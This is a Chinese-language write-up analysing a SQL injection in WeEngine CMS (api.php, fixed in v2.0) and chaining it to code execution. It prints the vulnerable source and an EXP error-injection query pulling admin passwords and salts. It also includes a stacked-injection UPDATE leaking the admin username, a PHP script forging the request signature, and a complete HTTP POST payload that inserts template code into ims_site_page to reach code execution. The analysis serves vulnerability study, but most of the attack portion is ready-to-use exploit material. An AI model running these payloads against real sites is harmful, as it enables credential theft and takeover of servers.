微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞:
api.php
536 行
该处的注入漏洞网上没有出现过分析文章,因此本文就来分析一下该处 SQL 注入的利用。
注意:本文仅作学习,请勿用于非法行为。
经过测试发现,官网在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此目测至少影响到 v1.5.2 版本
这个注入漏洞分析还是比较简单的,直接定位到存在漏洞的代码处api.php
530 行开始、564 行开始的两个函数:
* * *
``private function analyzeSubscribe(&$message) { global $_W; $params = array(); $message['type'] = 'text'; $message['redirection'] = true; if(!empty($message['scene'])) { $message['source'] = 'qr'; $sceneid = trim($message['scene']); $scene_condition = ''; if (is_numeric($sceneid)) { $scene_condition = " `qrcid` = '{$sceneid}'"; }else{ $scene_condition = " `scene_str` = '{$sceneid}'"; } $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'"); if(!empty($qr)) { $message['content'] = $qr['keyword']; if (!empty($qr['type']) && $qr['type'] == 'scene') { $message['msgtype'] = 'text'; } $params += $this->analyzeText($message); return $params; } } $message['source'] = 'subscribe'; $setting = uni_setting($_W['uniacid'], array('welcome')); if(!empty($setting['welcome'])) { $message['content'] = $setting['welcome']; $params += $this->analyzeText($message); } return $params; } private function analyzeQR(&$message) { global $_W; $params = array(); $params = $this->handler($message['type']); if (!empty($params)) { return $params; } $message['type'] = 'text'; $message['redirection'] = true; if(!empty($message['scene'])) { $message['source'] = 'qr'; $sceneid = trim($message['scene']); $scene_condition = ''; if (is_numeric($sceneid)) { $scene_condition = " `qrcid` = '{$sceneid}'"; }else{ $scene_condition = " `scene_str` = '{$sceneid}'"; } $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'"); } if (empty($qr) && !empty($message['ticket'])) { $message['source'] = 'qr'; $ticket = trim($message['ticket']); if(!empty($ticket)) { $qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'"); if(!empty($qr)) { if(count($qr) != 1) { $qr = array(); } else { $qr = $qr[0]; } } } } if(!empty($qr)) { $message['content'] = $qr['keyword']; if (!empty($qr['type']) && $qr['type'] == 'scene') { $message['msgtype'] = 'text'; } $params += $this->analyzeText($message); } return $params; } ``
在analyzeSubscribe
函数中的 SQL 语句:
$qr \= pdo\_fetch("SELECT \`id\`, \`keyword\` FROM " . tablename('qrcode') . " WHERE {$scene\_condition} AND \`uniacid\` = '{$\_W\['uniacid'\]}'");
直接将$scene_condition
变量拼接到了pod_fetch
函数中,而$scene_condition
变量值来自于$sceneid = trim($message['scene']);
,可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造$message['scene']
的值,去构造 SQL 语句。
在analyzeQR
函数中也是类似,因此我们以analyzeSubscribe
函数为例来分析构造poc。
微擎中为了避免 SQL注入,实现了包括参数化查询、关键字&字符过滤的方式。
过滤的内容如下:
framework/class/db.class.php
700 行:
* * *
`private static $disable = array( 'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'), 'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'), 'note' => array('/*', '*/', '#', '--'), ); `
可以看到禁用了以下函数:
禁用了以下关键字:
禁用了以下注释符:
/*
、*/
、--
、#
所以对于构造 payload 来说还是造成了一定的麻烦。
首先将函数中 SQL 语句还原如下:
SELECT \`id\`, \`keyword\` FROM ims\_qrcode where \`scene\_str\` \= ? and uniacid \= $\_W\['uniacid'\];
那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使用 exp语句,如下示例:
SELECT \`id\`, \`keyword\` FROM ims\_qrcode where \`scene\_str\` \= 1 AND(EXP(~(SELECT\*from(select group\_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims\_users)a))) and uniacid \= $\_W\['uniacid'\];
具体构建由于本地 MySQL 版本不合适,因此就不写了。
这里来说下另一种注入方式。
我们知道微擎里的 SQL 语句使用的是 PDO 查询,因此支持堆叠注入。
但要注意的是,使用 PDO 执行 SQL 语句时,虽然可以执行多条 SQL语句,但只会返回第一条 SQL 语句的执行结果,所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到,这样才可以获取数据。
经过测试发现,微擎支持注册用户,如下图所示:
登陆后可以在个人中心看到:
邮寄地址就是一个很好的显示地方,也就是说可以执行以下语句。
update ims\_users\_profile set address\=(select username from ims\_users where uid \=1 ) where uid\=2;
语句中的2
是注册后账号的uid,可以从 cookie中找到:
但是这里有一个问题,就是在我们注入的时候,首先要验证:
api.php
181行:
* * *
`if(empty($this->account)) { exit('Miss Account.'); } if(!$this->account->checkSign()) { exit('Check Sign Fail.'); }`
跟进checkSign()
:
public function checkSign() {
$arrParams = array(
$token = $this->account['token'],
$intTimeStamp = $_GET['timestamp'],
$strNonce = $_GET['nonce'],
);
sort($arrParams, SORT_STRING);
$strParam = implode($arrParams);
$strSignature = sha1($strParam);
return $strSignature == $_GET['signature'];
}
可以看到有三个变量需要我们去验证,其生成规则在api.php
129 行的encrypt
函数,如下:
* * *
`public function encrypt() { global $_W; if(empty($this->account)) { exit('Miss Account.'); } $timestamp = TIMESTAMP; $nonce = random(5); $token = $_W['account']['token']; $signkey = array($token, TIMESTAMP, $nonce); sort($signkey, SORT_STRING); $signString = implode($signkey); $signString = sha1($signString); $_GET['timestamp'] = $timestamp; $_GET['nonce'] = $nonce; $_GET['signature'] = $signString; $postStr = file_get_contents('php://input'); if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) { $data = $this->account->encryptMsg($postStr); $array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]); } else { $data = array('', ''); $array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]); } exit(json_encode($array)); } `
其中timestamp
是时间戳、nonce
是5 位随机字符串、signature
是由 sha1加密后的$signString
,而$signString
是由 token
、timestamp
、nonce
组成。可以看到,是硬编码生成,因此可以通过print_r($_W)
得到token
值,如下:
所以可以利用以下代码生成:
* * *
`<?php $timestamp = time(); $nonce = random(5); $token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP"; $signkey = array($token, $timestamp, $nonce); sort($signkey, SORT_STRING); $signString = implode($signkey); $signString = sha1($signString); echo $timestamp . " | ".$nonce." | ".$signString; function random($length) { $strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789'; $result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length); return $result; } ?> `
得到:
1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22
然后根据官网文档中的消息格式:
所以最终的 payload 为:
最终在个人中心可以看到:
但是这种方式比较鸡肋和费事,一是解密非常难,二是如果直接添加账号也会留下很多痕迹,三是即是登录后,还要拿 shell。
那么有没有一步到位的方法?
/app/source/home/page.ctrl.php
文件:
* * *
`$do = in_array($do, $dos) ? $do : 'index'; $id = intval($_GPC['id']); if($do == 'getnum'){ $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum')); message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax'); } elseif($do == 'addnum'){ if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) { $goodnum = pdo_get('site_page', array('id' => $id), array('goodnum')); if(!empty($goodnum)){ $updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id)); if(!empty($updatesql)) { isetcookie('__havegood['.$id.']', $id, 86400*30*12); message(error('0', ''), '', 'ajax'); }else { message(error('1', ''), '', 'ajax'); } } } } else { $footer_off = true; template_page($id); } `
首先判断$do
的类型,如果不是getnum
和addnum
时,进入template_page
函数。
跟进/app/common/template.func.php
111行:
* * *
`function template_page($id, $flag = TEMPLATE_DISPLAY) { global $_W; $page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id)); if (empty($page)) { return error(1, 'Error: Page is not found'); } if (empty($page['html'])) { return ''; } $page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']); $page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']); $page['params'] = json_decode($page['params'], true); $GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8'); $GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));; $compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php"; $path = dirname($compile); if (!is_dir($path)) { load()->func('file'); mkdirs($path); } $content = template_parse($page['html']); if (!empty($page['params'][0]['params']['bgColor'])) { $content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>'; } $GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu']; file_put_contents($compile, $content); switch ($flag) { case TEMPLATE_DISPLAY: default: extract($GLOBALS, EXTR_SKIP); template('common/header'); include $compile; template('common/footer'); break; case TEMPLATE_FETCH: extract($GLOBALS, EXTR_SKIP); ob_clean(); ob_start(); include $compile; $contents = ob_get_contents(); ob_clean(); return $contents; break; case TEMPLATE_INCLUDEPATH: return $compile; break; } } `
首先根据id
从ims_site_page
数据表里读取页面信息,然后过滤掉敏感信息,最后通过file_put_contents
写入到$compile
,然后在switch
中被包含include $compile;
。
因此我们可以利用 SQL 注入,向ims_site_page
表中插入一句话数据。如下:
POST /wq/new/api.php?id=1×tamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440
<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into ims\_site\_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','\[{"params":{"thumb":""}}\]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>
这里的模板内容PHP 代码可以参考:
PHP语句:
https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542)
然后根据官网文档路由介绍(https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103484):
则有:
成功执行代码
这个漏洞主要就是由 SQL 注入引起的,因此修复 SQL 注入后,后续的包含也没法继续利用了。
官方修复方式如下:
改成了微擎自带的参数化查询。
由于这个是老洞了,所以在搭建上坑点不少,但是漏洞很好理解。
最后感谢续师傅的指导,周末还继续带我学习(膜~
https://www.kancloud.cn/donknap/we7/134649
https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542
https://wiki.w7.cc/chapter/35?id=507
https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)